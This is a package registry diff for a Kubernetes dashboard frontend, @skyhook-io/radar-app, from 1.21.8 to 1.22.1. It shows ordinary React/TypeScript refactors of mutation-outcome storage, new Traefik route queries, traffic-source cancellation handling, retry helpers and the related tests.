@skyhook-io/radar-app 1.21.8 → 1.22.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (83) hide show
  1. package/package.json +1 -1
  2. package/src/App.tsx +16 -1
  3. package/src/api/client.ts +18 -0
  4. package/src/api/cnpg-history.ts +3 -3
  5. package/src/api/cnpg-storage.ts +3 -3
  6. package/src/api/diagnose.test.ts +34 -0
  7. package/src/api/diagnose.ts +17 -4
  8. package/src/api/radarFeatures.test.ts +13 -1
  9. package/src/api/radarFeatures.ts +6 -0
  10. package/src/api/resourceActions.test.ts +829 -0
  11. package/src/api/resourceActions.ts +584 -0
  12. package/src/api/resourceActions.ui.test.tsx +1882 -0
  13. package/src/api/reviewedActionMutation.ts +56 -28
  14. package/src/api/substrateHealth.ts +2 -3
  15. package/src/api/traefik.ts +33 -0
  16. package/src/api/traffic.ts +14 -5
  17. package/src/api/workloadMetrics.test.ts +11 -2
  18. package/src/api/workloadMetrics.ts +2 -2
  19. package/src/components/CloudFunnelButton.test.tsx +39 -1
  20. package/src/components/CloudFunnelButton.tsx +10 -3
  21. package/src/components/cnpg/CNPGOverview.test.tsx +75 -3
  22. package/src/components/cnpg/CNPGOverview.tsx +62 -4
  23. package/src/components/diagnose/AnalysisStory.test.tsx +12 -0
  24. package/src/components/diagnose/DiagnoseContext.question.test.tsx +34 -1
  25. package/src/components/diagnose/DiagnoseContext.tsx +28 -3
  26. package/src/components/diagnose/DiagnoseSurface.tsx +5 -4
  27. package/src/components/diagnose/Home.tsx +3 -0
  28. package/src/components/diagnose/InvestigationEvidencePane.test.tsx +61 -0
  29. package/src/components/diagnose/InvestigationView.followupFailure.test.tsx +122 -0
  30. package/src/components/diagnose/InvestigationView.tsx +10 -2
  31. package/src/components/diagnose/LocalDiagnoseAction.history.test.tsx +1 -1
  32. package/src/components/diagnose/LocalDiagnoseAction.tsx +2 -2
  33. package/src/components/diagnose/QuestionComposer.test.tsx +16 -2
  34. package/src/components/diagnose/QuestionComposer.tsx +13 -8
  35. package/src/components/diagnose/diagnoseEvidenceTypes.ts +47 -8
  36. package/src/components/diagnose/investigationEvidence/adapters/diagnose.test.ts +153 -0
  37. package/src/components/diagnose/investigationEvidence/adapters/diagnose.ts +9 -13
  38. package/src/components/diagnose/investigationEvidence/adapters/issues.ts +21 -5
  39. package/src/components/diagnose/investigationEvidence/bodies/network.tsx +63 -26
  40. package/src/components/diagnose/launch.ts +1 -1
  41. package/src/components/dock/PodDebugSession.test.tsx +66 -0
  42. package/src/components/dock/PodDebugSession.tsx +3 -1
  43. package/src/components/dock/TerminalTab.test.tsx +43 -3
  44. package/src/components/dock/TerminalTab.tsx +10 -1
  45. package/src/components/helm/HelmReleaseDrawer.tsx +1 -1
  46. package/src/components/helm/InstallWizard.tsx +1 -1
  47. package/src/components/home/NetworkPolicyCoverageCard.test.tsx +37 -0
  48. package/src/components/home/NetworkPolicyCoverageCard.tsx +26 -2
  49. package/src/components/home/mcpToolCatalog.ts +1 -1
  50. package/src/components/resources/PodEvictAction.test.tsx +951 -0
  51. package/src/components/resources/PodEvictAction.tsx +167 -0
  52. package/src/components/resources/ResourcesView.tsx +3 -0
  53. package/src/components/resources/renderers/TraefikIngressRouteRenderer.test.tsx +23 -0
  54. package/src/components/resources/renderers/TraefikIngressRouteRenderer.tsx +23 -0
  55. package/src/components/resources/renderers/TraefikMiddlewareRenderer.test.tsx +23 -0
  56. package/src/components/resources/renderers/TraefikMiddlewareRenderer.tsx +29 -0
  57. package/src/components/resources/renderers/WorkloadRenderer.tsx +3 -0
  58. package/src/components/settings/LocalConnectionSettings.tsx +4 -4
  59. package/src/components/settings/SettingsDialog.tsx +23 -18
  60. package/src/components/settings/integrationQueries.test.ts +98 -0
  61. package/src/components/settings/integrationQueries.ts +36 -0
  62. package/src/components/traffic/TrafficConnectionsTable.test.tsx +23 -0
  63. package/src/components/traffic/TrafficConnectionsTable.tsx +5 -4
  64. package/src/components/traffic/TrafficFilterSidebar.test.tsx +14 -0
  65. package/src/components/traffic/TrafficFilterSidebar.tsx +17 -0
  66. package/src/components/traffic/TrafficFlowList.tsx +5 -5
  67. package/src/components/traffic/TrafficGraph.test.tsx +11 -0
  68. package/src/components/traffic/TrafficGraph.tsx +31 -19
  69. package/src/components/traffic/TrafficView.reconnect.test.tsx +229 -0
  70. package/src/components/traffic/TrafficView.tsx +108 -41
  71. package/src/components/traffic/traffic-export.test.ts +8 -0
  72. package/src/components/traffic/traffic-export.ts +7 -4
  73. package/src/components/traffic/trafficFilters.test.ts +51 -1
  74. package/src/components/traffic/trafficFilters.ts +39 -11
  75. package/src/components/ui/Markdown.test.tsx +37 -0
  76. package/src/components/ui/Markdown.tsx +15 -2
  77. package/src/components/ui/command-items-crd.test.tsx +23 -8
  78. package/src/components/useContextSwitchFlow.test.tsx +27 -2
  79. package/src/components/useContextSwitchFlow.tsx +20 -22
  80. package/src/components/whats-new/releaseNotes.ts +75 -1
  81. package/src/components/workload/WorkloadView.tsx +16 -3
  82. package/src/integrations/resourceHosts.test.tsx +1 -1
  83. package/src/integrations/resourceHosts.tsx +3 -0
@@ -3,51 +3,79 @@ import { useMutation, useQueryClient, type MutationFunction, type QueryClient, t
3
3
  import { actionOutcomeLocked } from './actions'
4
4
  import { ApiError } from './client'
5
5
 
6
- interface Outcome {
6
+ export interface ReviewedActionOutcome {
7
7
  pending: boolean
8
8
  error: Error | null
9
9
  }
10
- const EMPTY: Outcome = { pending: false, error: null }
11
- const stores = new WeakMap<QueryClient, { entries: Map<string, Outcome>; listeners: Set<() => void> }>()
10
+
11
+ const EMPTY: ReviewedActionOutcome = { pending: false, error: null }
12
+
13
+ export interface ReviewedActionOutcomeStore {
14
+ get: (key: string) => ReviewedActionOutcome
15
+ set: (key: string, value: ReviewedActionOutcome) => void
16
+ subscribe: (listener: () => void) => () => void
17
+ getVersion: () => number
18
+ }
19
+
20
+ const stores = new WeakMap<QueryClient, ReviewedActionOutcomeStore>()
21
+
22
+ /**
23
+ * QueryClient-scoped outcome memory shared across reviewed-action flows so
24
+ * closing/remounting a dialog or connection-recovery cache purges cannot unlock
25
+ * a second write while a request is in flight or after an uncertain outcome.
26
+ */
27
+ export function getReviewedActionOutcomeStore(client: QueryClient): ReviewedActionOutcomeStore {
28
+ let store = stores.get(client)
29
+ if (!store) {
30
+ const entries = new Map<string, ReviewedActionOutcome>()
31
+ const listeners = new Set<() => void>()
32
+ let version = 0
33
+ store = {
34
+ get: (key) => entries.get(key) ?? EMPTY,
35
+ set: (key, value) => {
36
+ if (value.pending || value.error) entries.set(key, value)
37
+ else entries.delete(key)
38
+ version += 1
39
+ for (const listener of listeners) listener()
40
+ },
41
+ subscribe: (listener) => {
42
+ listeners.add(listener)
43
+ return () => { listeners.delete(listener) }
44
+ },
45
+ getVersion: () => version,
46
+ }
47
+ stores.set(client, store)
48
+ }
49
+ return store
50
+ }
51
+
52
+ export const DEFAULT_OUTCOME_RECOVERY_INSTRUCTION =
53
+ 'Inspect the current state in Kubernetes first, then reload this page and review the action again.'
12
54
 
13
55
  /** Result memory belongs to the host, so dismissing a dialog cannot unlock a second write. */
14
56
  export function useReviewedActionMutation<Data, Variables extends { request: { reviewedContext: string } }>(
15
57
  target: string,
16
58
  reviewedContext: string | undefined,
17
59
  options: Omit<UseMutationOptions<Data, Error, Variables>, 'mutationFn' | 'mutationKey'> & { mutationFn: MutationFunction<Data, Variables> },
18
- recoveryInstruction = 'Inspect the current state, then reload this page and review the action again.',
60
+ recoveryInstruction = DEFAULT_OUTCOME_RECOVERY_INSTRUCTION,
19
61
  ) {
20
62
  const client = useQueryClient()
21
- let store = stores.get(client)
22
- if (!store) {
23
- store = { entries: new Map(), listeners: new Set() }
24
- stores.set(client, store)
25
- }
26
- const outcomes = store
63
+ const outcomes = getReviewedActionOutcomeStore(client)
27
64
  const keyFor = (context: string | undefined) => JSON.stringify([target, context])
28
65
  const key = keyFor(reviewedContext)
29
- const subscribe = useCallback((listener: () => void) => {
30
- outcomes.listeners.add(listener)
31
- return () => { outcomes.listeners.delete(listener) }
32
- }, [outcomes])
33
- const snapshot = useCallback(() => outcomes.entries.get(key) ?? EMPTY, [outcomes, key])
66
+ const snapshot = useCallback(() => outcomes.get(key), [outcomes, key])
34
67
  // Connection recovery purges query/mutation caches. It must not forget a
35
68
  // request still in flight or a result that may already have changed the target.
36
- const retained = useSyncExternalStore(subscribe, snapshot, () => EMPTY)
37
- const publish = (key: string, value: Outcome) => {
38
- if (value.pending || value.error) outcomes.entries.set(key, value)
39
- else outcomes.entries.delete(key)
40
- for (const listener of outcomes.listeners) listener()
41
- }
69
+ const retained = useSyncExternalStore(outcomes.subscribe, snapshot, () => EMPTY)
42
70
  const mutation = useMutation<Data, Error, Variables>({
43
71
  ...options,
44
72
  mutationKey: ['reviewed-action', target, reviewedContext],
45
73
  mutationFn: async (variables, context) => {
46
74
  const boundKey = keyFor(variables.request.reviewedContext)
47
- const previous = outcomes.entries.get(boundKey)
48
- if (previous?.error) throw previous.error
49
- if (previous?.pending) throw new ApiError('A write to this target is still in progress. Wait for its result.', 409, { code: 'blocked' })
50
- publish(boundKey, { pending: true, error: null })
75
+ const previous = outcomes.get(boundKey)
76
+ if (previous.error) throw previous.error
77
+ if (previous.pending) throw new ApiError('A write to this target is still in progress. Wait for its result.', 409, { code: 'blocked' })
78
+ outcomes.set(boundKey, { pending: true, error: null })
51
79
  let retainedError: Error | null = null
52
80
  try {
53
81
  return await options.mutationFn(variables, context)
@@ -59,13 +87,13 @@ export function useReviewedActionMutation<Data, Variables extends { request: { r
59
87
  }
60
88
  throw error
61
89
  } finally {
62
- publish(boundKey, { pending: false, error: retainedError })
90
+ outcomes.set(boundKey, { pending: false, error: retainedError })
63
91
  }
64
92
  },
65
93
  })
66
94
  const acknowledgeOutcome = () => {
67
- if (outcomes.entries.get(key)?.error) {
68
- publish(key, EMPTY)
95
+ if (outcomes.get(key).error) {
96
+ outcomes.set(key, EMPTY)
69
97
  mutation.reset()
70
98
  }
71
99
  }
@@ -1,7 +1,7 @@
1
1
  import { useQuery } from '@tanstack/react-query'
2
2
  import { getApiBase } from './config'
3
3
  import type { TimeSeries } from '@skyhook-io/k8s-ui/components/charts'
4
- import { ApiError, fetchJSON, useClusterInfo, useRadarFeature, type PrometheusTimeRange } from './client'
4
+ import { fetchJSON, shouldRetryReplacedMember, useClusterInfo, useRadarFeature, type PrometheusTimeRange } from './client'
5
5
 
6
6
  export type SubstrateChartState =
7
7
  | 'ok'
@@ -127,8 +127,7 @@ export function useSubstrateHealth(target: SubstrateTarget, enabled: boolean) {
127
127
  enabled: enabled && feature.support === 'supported',
128
128
  staleTime: 30_000,
129
129
  refetchInterval: 60_000,
130
- // A changed connection answers 409 and is safe to retry once; a denial is final.
131
- retry: (failureCount, error) => failureCount < 1 && error instanceof ApiError && error.status === 409,
130
+ retry: shouldRetryReplacedMember,
132
131
  })
133
132
  return { ...query, upgrade: feature.upgrade, blockedReason: feature.blockedReason, support: feature.support }
134
133
  }
@@ -0,0 +1,33 @@
1
+ import { useQuery } from '@tanstack/react-query'
2
+ import type { TraefikRoutesResponse } from '@skyhook-io/k8s-ui'
3
+ import { fetchJSON, useRadarFeature } from './client'
4
+ import { shouldRetryRadarQuery } from './radarFeatures'
5
+
6
+ // One IngressRoute's rule facts, with usedBy for its middlewares.
7
+ // group tells the two Traefik API groups apart; an older Radar ignores it.
8
+ export function useTraefikRouteFacts(namespace: string, name: string, group: string) {
9
+ const { support, guard, gatedKey } = useRadarFeature('traefikRoutes')
10
+ const query = useQuery({
11
+ queryKey: ['traefik', 'routes', 'route', group, namespace, name, ...gatedKey],
12
+ queryFn: ({ signal }) => guard(() => fetchJSON<TraefikRoutesResponse>(`/traefik/routes?namespace=${encodeURIComponent(namespace)}&name=${encodeURIComponent(name)}&group=${encodeURIComponent(group)}`, signal)),
13
+ enabled: !!namespace && !!name && support !== 'unsupported',
14
+ staleTime: 30_000,
15
+ retry: shouldRetryRadarQuery,
16
+ })
17
+ return { ...query, support }
18
+ }
19
+
20
+ // The IngressRoute rules that use one Middleware (at most 200).
21
+ export function useTraefikMiddlewareUsers(namespace: string, name: string) {
22
+ const { support, guard, gatedKey } = useRadarFeature('traefikRoutes')
23
+ const query = useQuery({
24
+ queryKey: ['traefik', 'routes', 'middleware', namespace, name, ...gatedKey],
25
+ queryFn: ({ signal }) => guard(() => fetchJSON<TraefikRoutesResponse>(`/traefik/routes?middleware=${encodeURIComponent(`${namespace}/${name}`)}`, signal)),
26
+ enabled: !!namespace && !!name && support !== 'unsupported',
27
+ staleTime: 30_000,
28
+ // While IngressRoutes are still syncing the drawer shows nothing; ask again.
29
+ refetchInterval: (q) => (q.state.data?.coverage?.ingressroutes?.state === 'syncing' ? 3_000 : false),
30
+ retry: shouldRetryRadarQuery,
31
+ })
32
+ return { ...query, support }
33
+ }
@@ -1,5 +1,5 @@
1
1
  import { useCallback, useMemo } from 'react'
2
- import { useQuery, useMutation, useQueryClient, type QueryClient } from '@tanstack/react-query'
2
+ import { CancelledError, useQuery, useMutation, useQueryClient, type QueryClient } from '@tanstack/react-query'
3
3
  import type { TrafficSourcesResponse, TrafficFlowsResponse, TrafficRecordsResponse } from '../types'
4
4
  import { fetchJSON as fetchApiJSON, useRadarFeature } from './client'
5
5
  import { shouldRetryRadarQuery } from './radarFeatures'
@@ -48,11 +48,18 @@ export async function fetchTrafficSources(queryClient: QueryClient, fresh: boole
48
48
  export async function detectTrafficSourcesAgain(queryClient: QueryClient): Promise<TrafficSourcesResponse> {
49
49
  // A pending fetch of the same key would otherwise be returned in its place.
50
50
  await queryClient.cancelQueries({ queryKey: ['traffic-sources'], exact: true })
51
- return queryClient.fetchQuery({
51
+ let detectionSignal: AbortSignal | undefined
52
+ const sources = await queryClient.fetchQuery({
52
53
  queryKey: ['traffic-sources'],
53
- queryFn: ({ signal }) => fetchTrafficSources(queryClient, true, signal),
54
+ queryFn: ({ signal }) => {
55
+ detectionSignal = signal
56
+ return fetchTrafficSources(queryClient, true, signal)
57
+ },
54
58
  staleTime: 0,
55
59
  })
60
+ // A cancelled fetch with cached data can resolve with the previous answer.
61
+ if (detectionSignal?.aborted) throw new CancelledError()
62
+ return sources
56
63
  }
57
64
 
58
65
  export function useTrafficSources() {
@@ -149,6 +156,7 @@ export interface TrafficEndpointPair {
149
156
  destination: TrafficEndpointRef
150
157
  port: number
151
158
  directionUnknown?: boolean
159
+ likelyOverlay?: boolean
152
160
  }
153
161
 
154
162
  /** The selection rides in the query string, URL-encoded. Proxies in front of
@@ -267,11 +275,12 @@ export function useRefetchTrafficSources() {
267
275
  }
268
276
 
269
277
  // Get traffic connection status
270
- export function useTrafficConnectionStatus() {
278
+ export function useTrafficConnectionStatus(enabled = true) {
271
279
  return useQuery<TrafficConnectionInfo>({
272
280
  queryKey: ['traffic-connection'],
273
- queryFn: () => fetchJSON('/traffic/connection'),
281
+ queryFn: ({ signal }) => fetchJSON('/traffic/connection', signal),
274
282
  staleTime: 5000, // 5 seconds
283
+ enabled,
275
284
  })
276
285
  }
277
286
 
@@ -1,11 +1,12 @@
1
1
  import { describe, expect, it, vi } from 'vitest'
2
+ import { ApiError } from './client'
2
3
  import type { WorkloadMetrics } from './workloadMetrics'
3
4
 
4
5
  vi.mock('@tanstack/react-query', () => ({ useQuery: (options: unknown) => options }))
5
- vi.mock('./client', () => ({
6
+ vi.mock('./client', async importOriginal => ({
7
+ ...(await importOriginal<typeof import('./client')>()),
6
8
  useClusterInfo: () => ({ data: { context: 'cluster-a' } }),
7
9
  fetchJSON: vi.fn(),
8
- ApiError: class extends Error {},
9
10
  }))
10
11
  vi.mock('./config', () => ({ getApiBase: () => '/api' }))
11
12
  const { useWorkloadMetrics: workloadQueryOptions } = await import('./workloadMetrics')
@@ -15,6 +16,7 @@ describe('workload source-switch placeholders', () => {
15
16
  queryKey: unknown[]
16
17
  placeholderData: (data: WorkloadMetrics, query: { queryKey: unknown[] }) => WorkloadMetrics | undefined
17
18
  refetchInterval: (query: { state: { data: WorkloadMetrics } }) => number
19
+ retry: (failureCount: number, error: Error) => boolean
18
20
  }
19
21
  const data: WorkloadMetrics = {
20
22
  state: 'available', sources: [], pods: 1, podsTotal: 1,
@@ -31,6 +33,13 @@ describe('workload source-switch placeholders', () => {
31
33
  expect(options().refetchInterval({ state: { data } })).toBe(30_000)
32
34
  expect(options().refetchInterval({ state: { data: { ...data, comparison: { cpu: { state: 'detecting', unit: 'cores', series: [] } } } } })).toBe(3_000)
33
35
  })
36
+ it.each([409, 503])('retries an HTTP %s once on connection replacement', (status) => {
37
+ const { retry } = options()
38
+ const error = new ApiError('Metrics connection closed. Retry the request', status)
39
+ expect(retry(0, error)).toBe(true)
40
+ expect(retry(1, error)).toBe(false)
41
+ expect(retry(0, new ApiError('Forbidden', 403))).toBe(false)
42
+ })
34
43
  it.each([1, 2, 3, 4, 5, 6])('drops the previous payload when identity field %s changes', (index) => {
35
44
  const query = options()
36
45
  const key = [...query.queryKey]
@@ -1,6 +1,6 @@
1
1
  import { useQuery } from "@tanstack/react-query";
2
2
  import type { TimeSeries } from "@skyhook-io/k8s-ui/components/charts";
3
- import { ApiError, fetchJSON, useClusterInfo, type PrometheusTimeRange } from "./client";
3
+ import { fetchJSON, shouldRetryReplacedMember, useClusterInfo, type PrometheusTimeRange } from "./client";
4
4
  import { getApiBase } from "./config";
5
5
 
6
6
  export type WorkloadMetricState =
@@ -65,6 +65,6 @@ export function useWorkloadMetrics(
65
65
  enabled,
66
66
  staleTime: 30_000,
67
67
  refetchInterval: (query) => query.state.data?.state === "detecting" || Object.values(query.state.data?.comparison ?? {}).some((panel) => panel.state === "detecting") ? 3_000 : 30_000,
68
- retry: (failureCount, error) => failureCount < 1 && error instanceof ApiError && error.status === 409,
68
+ retry: shouldRetryReplacedMember,
69
69
  });
70
70
  }
@@ -24,6 +24,8 @@ Object.assign(globalThis, { IS_REACT_ACT_ENVIRONMENT: true })
24
24
  let root: Root
25
25
  let client: QueryClient
26
26
  let lane: 'driver' | 'wizard'
27
+ let deploymentMode: 'local' | 'in-cluster'
28
+ let selfBody: Record<string, unknown>
27
29
  let discovery: { connected: { namespace: string; deployment: string; clusterUrl: string }[] }
28
30
  let discoveryStatus: number
29
31
  let flowState: 'idle' | 'awaiting_approval'
@@ -36,6 +38,8 @@ const requests: string[] = []
36
38
  beforeEach(() => {
37
39
  connection.state = 'connecting'
38
40
  lane = 'driver'
41
+ deploymentMode = 'local'
42
+ selfBody = { ownership: 'unknown' }
39
43
  discovery = { connected: [] }
40
44
  discoveryStatus = 200
41
45
  flowState = 'idle'
@@ -51,12 +55,13 @@ beforeEach(() => {
51
55
  const url = new URL(input, 'http://localhost')
52
56
  requests.push(url.pathname + url.search)
53
57
  const bodies: Record<string, unknown> = {
54
- '/api/capabilities': { cloudConnect: { lane, appUrl: 'https://cloud.example', apiUrl: 'https://cloud.example' }, deployment: { mode: 'local' } },
58
+ '/api/capabilities': { cloudConnect: { lane, appUrl: 'https://cloud.example', apiUrl: 'https://cloud.example' }, deployment: { mode: deploymentMode } },
55
59
  '/api/cluster-info': { context: 'test-cluster' },
56
60
  '/api/cloud/install/status': statusBody ?? { state: flowState },
57
61
  '/api/cloud/install/discover': discoveryStatus === 200 ? discovery : { error: 'Discovery failed' },
58
62
  '/api/cloud/install/prepare': { error: 'Not connected to cluster' },
59
63
  '/api/connect/info': {},
64
+ '/api/cloud/connect/self': selfBody,
60
65
  }
61
66
  if (!(url.pathname in bodies)) throw new Error(`Unexpected request: ${input}`)
62
67
  if (url.pathname.endsWith('/prepare') && prepareReply) return prepareReply.promise
@@ -178,6 +183,39 @@ describe('Cloud dialog connection availability', () => {
178
183
  expect(requests).not.toContain('/api/cloud/install/discover')
179
184
  })
180
185
 
186
+ it('shows the NKP steps on NKP even when Radar cannot tell how it was installed', async () => {
187
+ lane = 'wizard'
188
+ deploymentMode = 'in-cluster'
189
+ connection.state = 'connected'
190
+ const nkpUrl = 'https://cloud.example/install?clusters=many&platform=nkp&utm_content=wizard-install-link-nkp-install'
191
+ selfBody = { ownership: 'unknown', platform: 'nkp', wizardUrl: nkpUrl }
192
+ await openDialog()
193
+ await until(() => expect(document.body.textContent).toContain('NKP manages this Radar'))
194
+ const link = Array.from(document.querySelectorAll('a')).find(element => element.textContent === 'Connect your NKP workspace')!
195
+ expect(link.href).toBe(nkpUrl)
196
+ })
197
+
198
+ it('sends an NKP-managed install to the NKP steps without asking for a repository change', async () => {
199
+ lane = 'wizard'
200
+ deploymentMode = 'in-cluster'
201
+ connection.state = 'connected'
202
+ const nkpUrl = 'https://cloud.example/install?clusters=many&platform=nkp&utm_content=wizard-install-link-nkp-install'
203
+ selfBody = {
204
+ ownership: 'gitops',
205
+ namespace: 'ws',
206
+ release: 'ws-radar',
207
+ controller: 'HelmRelease ws/radar',
208
+ platform: 'nkp',
209
+ wizardUrl: nkpUrl,
210
+ }
211
+ await openDialog()
212
+ await until(() => expect(document.body.textContent).toContain('NKP manages this Radar'))
213
+ expect(document.body.textContent).toContain("paste into the Radar app's configuration in NKP")
214
+ expect(document.body.textContent).not.toContain('values change in your repository')
215
+ const link = Array.from(document.querySelectorAll('a')).find(element => element.textContent === 'Connect your NKP workspace')!
216
+ expect(link.href).toBe(nkpUrl)
217
+ })
218
+
181
219
  it('keeps an active server-owned install visible even while disconnected', async () => {
182
220
  connection.state = 'disconnected'
183
221
  flowState = 'awaiting_approval'
@@ -525,15 +525,22 @@ function ModalFooter({
525
525
  // evidence it could not verify). A GitOps install with a link goes to the
526
526
  // wizard's Argo/Flux tab, which generates a values patch for the repo rather
527
527
  // than an imperative command the controller would revert.
528
+ const nkp = self?.platform === 'nkp'
528
529
  const cliOnly = (gitops || ambiguous) && !self?.wizardUrl
529
530
  // Until classification resolves we cannot know which lane applies, and a
530
531
  // fast click would escape to signup before we could route this install.
531
532
  const selfPending = selfLoading === true
532
533
  return (
533
534
  <div className="shrink-0 px-8 py-6 bg-theme-base border-t border-theme-border">
534
- {self && self.ownership !== 'unknown' && (
535
+ {self && (self.ownership !== 'unknown' || nkp) && (
535
536
  <div className="mb-3.5 card-inner p-3 text-[12px] leading-relaxed text-theme-text-secondary">
536
- {ambiguous ? (
537
+ {nkp ? (
538
+ <>
539
+ NKP manages this Radar, so a change made to it directly would be undone. Radar Cloud gives you
540
+ settings to paste into the Radar app&apos;s configuration in NKP. They apply to every cluster in the
541
+ workspace.
542
+ </>
543
+ ) : ambiguous ? (
537
544
  <>
538
545
  Radar found conflicting management metadata on this install, so it can't say whether a Helm
539
546
  upgrade or a repository change is the right move. Run{' '}
@@ -628,7 +635,7 @@ function ModalFooter({
628
635
  onClick={(e) => { if (selfPending) e.preventDefault() }}
629
636
  className={`px-5 py-2 rounded-[10px] bg-emerald-500 hover:bg-emerald-400 text-emerald-950 text-[13.5px] font-bold shadow-[0_0_22px_rgba(16,185,129,0.35)] hover:shadow-[0_0_30px_rgba(16,185,129,0.5)] hover:-translate-y-px transition-all ${selfPending ? 'opacity-60 pointer-events-none' : ''}`}
630
637
  >
631
- {lane === 'driver' ? 'Continue in Radar Cloud' : self?.ownership === 'helm' || gitops ? 'Connect this cluster' : 'Try Cloud free'}
638
+ {lane === 'driver' ? 'Continue in Radar Cloud' : nkp ? 'Connect your NKP workspace' : self?.ownership === 'helm' || gitops ? 'Connect this cluster' : 'Try Cloud free'}
632
639
  </a>
633
640
  )}
634
641
  {/* Self-Managed is a paid product with its own trial, so it gets a real
@@ -7,7 +7,8 @@ const sidebar = vi.hoisted(() => ({ data: undefined as CNPGWorkspaceResponse | u
7
7
  vi.mock('../../api/cnpg', () => ({ useCNPGWorkspace: () => ({ data: sidebar.data }) }))
8
8
  vi.mock('../../api/cnpg-storage', () => ({ useCNPGFleetDisk: () => ({}) }))
9
9
  vi.mock('../../api/cnpg-history', () => ({ useCNPGFleetMetrics: () => ({}) }))
10
- vi.mock('../../api/client', () => ({ useRadarFeature: () => ({ support: 'supported' }) }))
10
+ const feature = vi.hoisted(() => ({ value: { support: 'supported', upgrade: null } as { support: string; upgrade: { feature: string; minimumVersion?: string } | null } }))
11
+ vi.mock('../../api/client', () => ({ useRadarFeature: () => feature.value }))
11
12
 
12
13
  vi.mock('../../context/ConnectionContext', () => ({ useConnection: () => ({ connection: { context: 'kind-test' } }) }))
13
14
  vi.mock('./CNPGOperatorBanner', () => ({ CNPGOperatorBanner: () => null }))
@@ -23,8 +24,8 @@ const cluster = (namespace: string, name: string) => ({
23
24
  status: { phase: 'Cluster in healthy state', readyInstances: 1 },
24
25
  })
25
26
 
26
- function response(clusters: ReturnType<typeof cluster>[], coverage: CNPGKindCoverage = { state: 'full' }): CNPGWorkspaceResponse {
27
- return { installed: true, context: 'kind-test', namespaces: null, coverage: { clusters: coverage }, objects: { clusters }, issues: [], audit: [], backupsOmitted: 0 }
27
+ function response(clusters: ReturnType<typeof cluster>[], coverage: CNPGKindCoverage = { state: 'full' }, audit: CNPGWorkspaceResponse['audit'] = []): CNPGWorkspaceResponse {
28
+ return { installed: true, context: 'kind-test', namespaces: null, coverage: { clusters: coverage }, objects: { clusters }, issues: [], audit, backupsOmitted: 0 }
28
29
  }
29
30
 
30
31
  function render(resp: CNPGWorkspaceResponse, query = '', opts: { attention?: string[]; onCreate?: () => void; namespaces?: string[] } = {}) {
@@ -169,3 +170,74 @@ it('uses an unknown sidebar count and tooltip for zero over partial coverage', (
169
170
  expect(result.value!.CloudNativePG.destinations.find((d) => d.id === 'protection')!.count).toBe(0)
170
171
  sidebar.data = undefined
171
172
  })
173
+
174
+ describe('CNPGOverview posture summary', () => {
175
+ const withSpec = (name: string, spec: { instances: number } & Record<string, unknown>) => ({ ...cluster('pg', name), spec })
176
+ const finding = (name: string, checkId: string) => ({ checkId, severity: 'warning', kind: 'Cluster', namespace: 'pg', name, message: checkId })
177
+ const count = (html: string, label: string) => html.match(new RegExp(`${label}</span><span[^>]*>([^<]+)<`))?.[1]
178
+ const bareAndIntree = () => response(
179
+ [withSpec('bare', { instances: 1 }), withSpec('intree', { instances: 3, backup: { barmanObjectStore: { destinationPath: 's3://b' } } })],
180
+ { state: 'full' },
181
+ [finding('bare', 'cnpgNoBackupDestination'), finding('bare', 'cnpgSingleInstance'), finding('intree', 'cnpgInTreeBackupDeprecated')],
182
+ )
183
+
184
+ it("counts the Checks' findings above the table, in neutral text", () => {
185
+ const html = render(bareAndIntree())
186
+ expect(count(html, 'No backup destination')).toBe('1')
187
+ expect(count(html, 'Single instance')).toBe('1')
188
+ expect(count(html, 'In-tree backup')).toBe('1')
189
+ expect(count(html, 'No WAL archiving')).toBe('0')
190
+ expect(html).toMatch(/<div role="group"[^>]*aria-label="Backup and availability configuration"/)
191
+ expect(html).toMatch(/Single instance<\/span><span class="font-mono">1</)
192
+ expect(html).not.toContain('With a destination')
193
+ })
194
+
195
+ it('does not count a single-instance spec that Checks reports nothing for', () => {
196
+ const html = render(response([withSpec('a', { instances: 1 }), withSpec('b', { instances: 1 })], { state: 'full' }, [finding('a', 'cnpgSingleInstance')]))
197
+ expect(count(html, 'Single instance')).toBe('1')
198
+ })
199
+
200
+ it('narrows the table to one posture value, with a chip to clear it', () => {
201
+ const html = render(bareAndIntree(), 'protect=none')
202
+ expect(html).toContain('bare')
203
+ expect(html).not.toContain('>intree<')
204
+ expect(html).toContain('Posture: No backup destination')
205
+ expect(html).toMatch(/aria-pressed="true"[^>]*><span>No backup destination/)
206
+ })
207
+
208
+ it('shows counts as lower bounds when Clusters were partly read', () => {
209
+ const html = render(response([withSpec('a', { instances: 1 }), withSpec('b', { instances: 1 })], { state: 'partial', allowedNamespaces: ['pg'] } as CNPGKindCoverage, [finding('a', 'cnpgSingleInstance'), finding('b', 'cnpgSingleInstance')]))
210
+ expect(count(html, 'Single instance')).toBe('≥2')
211
+ expect(count(html, 'No WAL archiving')).toBe('–')
212
+ expect(html).toContain('aria-label="No WAL archiving: unknown"')
213
+ })
214
+
215
+ it('ignores an unknown protect value', () => {
216
+ const html = render(bareAndIntree(), 'protect=bogus')
217
+ expect(html).toContain('bare')
218
+ expect(html).toContain('intree')
219
+ expect(html).not.toContain('Posture:')
220
+ })
221
+
222
+ it('says the filters, not attention, emptied the table when posture narrows it to nothing', () => {
223
+ const html = render(response([withSpec('a', { instances: 3 })]), 'filter=attention&protect=intree', { attention: ['a'] })
224
+ expect(html).toContain('No clusters match these filters')
225
+ expect(html).not.toContain('No clusters need attention')
226
+ })
227
+
228
+ it('replaces the counts with an upgrade note on a Radar that predates them, never a zero', () => {
229
+ feature.value = { support: 'unsupported', upgrade: { feature: 'CloudNativePG backup and availability counts', minimumVersion: 'v1.21.0' } }
230
+ try {
231
+ const html = render(bareAndIntree())
232
+ expect(html).toContain('CloudNativePG backup and availability counts')
233
+ expect(html).toContain('need Radar v1.21 or newer')
234
+ expect(html).not.toContain('Backup and availability configuration')
235
+ expect(render(bareAndIntree(), 'protect=none')).toContain('>intree<')
236
+ const loading = (feature.value = { support: 'unknown', upgrade: null }, render(bareAndIntree()))
237
+ expect(loading).not.toContain('Backup and availability configuration')
238
+ expect(loading).not.toContain('need Radar')
239
+ } finally {
240
+ feature.value = { support: 'supported', upgrade: null }
241
+ }
242
+ })
243
+ })
@@ -4,19 +4,25 @@ import { ArrowRight, Database, FileText, Plus, Search } from 'lucide-react'
4
4
  import {
5
5
  CNPG_PROBLEM_CATEGORIES,
6
6
  CNPG_PROBLEM_TONE,
7
+ CNPG_POSTURE_FILTERS,
7
8
  cnpgDimensions,
9
+ cnpgMatchesPostureFilter,
8
10
